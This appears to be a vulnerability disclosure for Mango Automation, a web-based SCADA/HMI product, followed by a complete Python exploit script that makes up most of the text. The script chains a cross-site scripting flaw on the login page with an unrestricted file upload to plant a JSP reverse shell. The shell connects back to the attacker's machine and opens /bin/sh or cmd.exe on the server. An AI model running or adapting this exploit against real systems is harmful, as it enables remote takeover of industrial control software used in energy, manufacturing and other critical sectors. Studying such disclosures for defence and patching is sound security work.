Introduction
Infinite Automation Systems is headquartered in Lafayette, Colorado.
The affected product, Mango Automation, is a centralized web-based SCADA/HMI and data acquisition software. According to Infinite Automation Systems, Mango Automation is deployed across several sectors including Commercial Facilities, Critical Manufacturing, Food and Agriculture, and Energy. Infinite Automation Systems estimates that these products are used worldwide.
Vulnerable Versions
Mango Automation version 2.5.0 through Version 2.6.0 beta (builds prior to 430)
Vulnerability Description
Improper verification of uploaded image files allows arbitrary files to be uploaded, which may allow for the execution of malicious JSP script files. In addition, the application does not verify HTTP requests, causing it to be vulnerable to a cross site scripting vulnerability.
Vendor Response
Infinite Automation Systems has released a new version of the Mango Automation application, Version 2.6.0 (build 430), which addresses all but two of the identified vulnerabilities—OS Command Injection and Cross-site Request Forgery vulnerabilities. Infinite Automation Systems is working to develop a new version that addresses these remaining two vulnerabilities, which is expected in December 2015.
Exploit
#!/usr/bin/python """ Mango CMS suffers from a Cross Site Scripting vulnerability and a file upload vulnerability Notes: - There is an XSS vuln in the login.htm page that can be used to inject javascript script. - Granted you need to be authenticated for the file upload, but you only need to be a low privlidged user. - Authenication can be bypassed by abusing the Cross Site Scripting vulnerability. Please patch this ASAP This is a fairly weaponized exploit to demonstrate how serious this is. Kind regards, """ import sys import urllib import urllib2 import socket import fcntl import struct import requests import json from optparse import OptionParser from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler from time import sleep from base64 import b64encode import os usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.116.134 -P 8081 -i vmnet8" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The target server <server:port>") parser.add_option("-P", type="int", action="store", dest="localport", help="The local port to have the HTTP server on") parser.add_option("-i", type="string", action="store", dest="interface", help="The interface to connect back on") (options, args) = parser.parse_args() def get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack('256s', ifname[:15]) )[20:24]) # some variables jspkode = (""" <%@page import=\\"java.lang.*\\"%> <%@page import=\\"java.util.*\\"%> <%@page import=\\"java.io.*\\"%> <%@page import=\\"java.net.*\\"%> <% class StreamConnector extends Thread { InputStream ri; OutputStream sp; StreamConnector( InputStream ri, OutputStream sp ) { this.ri = ri; this.sp = sp; } public void run() { BufferedReader uy = null; BufferedWriter yhi = null; try { uy = new BufferedReader( new InputStreamReader( this.ri ) ); yhi = new BufferedWriter( new OutputStreamWriter( this.sp ) ); char buffer[] = new char[8192]; int length; while( ( length = uy.read( buffer, 0, buffer.length ) ) > 0 ) { yhi.write( buffer, 0, length ); yhi.flush(); } } catch( Exception e ){} try { if( uy != null ) uy.close(); if( yhi != null ) yhi.close(); } catch( Exception e ){} } } try { String ShellPath; if (System.getProperty(\\"os.name\\").toLowerCase().indexOf(\\"windows\\") == -1) { ShellPath = new String(\\"/bin/sh\\"); } else { ShellPath = new String(\\"cmd.exe\\"); } Socket socket = new Socket( \\"[connectback]\\", 1337 ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %> """).replace("[connectback]", get_ip_address("vmnet8")) def banner(): print ("\n\t| --------------------------------------------------------- |") print ("\t| Mango Automation xss/upload remote code execution exploit |") print ("\t| found by mr_me ------------------------------------------ |\n") def test_proxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print ("proxy failed, exiting..") sys.exit(1) def submit_request(exploit, header=None, data=None): try: if header != None: headers = {} headers['Hax'] = header if data != None: data = urllib.urlencode(data) req = urllib2.Request("http://"+exploit, data, headers) if options.proxy: req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print ("(-) Target connection failed, check your address") sys.exit(1) return check def check_request(req): req = urllib2.Request(req) if options.proxy: req.set_proxy(options.proxy,"http") return urllib2.urlopen(req).code # who knows where the shell is? def pwn(): for i in range(1, 50): try: check_request("http://%s:8080/modules/graphicalViews/web/graphicalViewUploads/%s.jsp" % (options.target, i)) except: pass class myRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.printCustomHTTPResponse(200) if self.path == "/": target=self.client_address[0] self.response = """ var target = 'http://[targethost]:8080/graphicalViewsBackgroundUpload'; function file_upload(file_data, filename) { var file_size = file_data.length, boundary = "---------------------------270883142628617", uri = target; xhr = new XMLHttpRequest(); xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary); xhr.setRequestHeader("Content-Length", file_size); xhr.withCredentials = "true"; var body = ""; body += add_file_field(file_data, filename, boundary); body += "--" + boundary + "--"; xhr.send(body); return true; } function add_file_field(value, filename, boundary) { var c = "--" + boundary + "\\r\\n" c += 'Content-Disposition: form-data; name="backgroundImage"; filename="' + filename + '"\\r\\n'; c += "Content-Type: application/x-httpd-php\\r\\n\\r\\n"; c += value + "\\r\\n"; return c; } function start() { file_upload("[jspkode]", "itdoesntmatterhaxme.jsp"); } start();""" self.response = self.response.replace("[targethost]",options.target) self.response = self.response.replace("[jspkode]", "".join(jspkode.splitlines())) self.wfile.write(self.response) print ("\n(+) Exploit sent to the client target %s attacking %s." % (target,options.target)) sleep(2) # let the target get exploited, sheesh. pwn() def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() def main(): # checks if len(sys.argv) <= 8: banner() parser.print_help() sys.exit(1) if not options.localport: port = 8080 else: port = int(options.localport) httpd = HTTPServer(('', port), myRequestHandler) print ( """\n\t\t+====================================================+ \t| Mango Automation xss/remote code execution exploit | \t| Found by: mr_me | \t+====================================================+""") if options.proxy: test_proxy() print ("(+) Listening on local port %d." % port) print ("(+) Start a local listener on 1337") url = "http://%s:8080/login.htm?username=\"><script src='http://%s:%s/'></script>" % (str(options.target), socket.gethostbyname(socket.gethostname()), port) print ("(+) Have someone connect to you at: %s" % url) print ("\nType <ctrl>-c to exit..\n") try: httpd.handle_request() httpd.serve_forever() except KeyboardInterrupt: print ("(-) Exiting Exploit.") sys.exit(1) if __name__ == "__main__": main()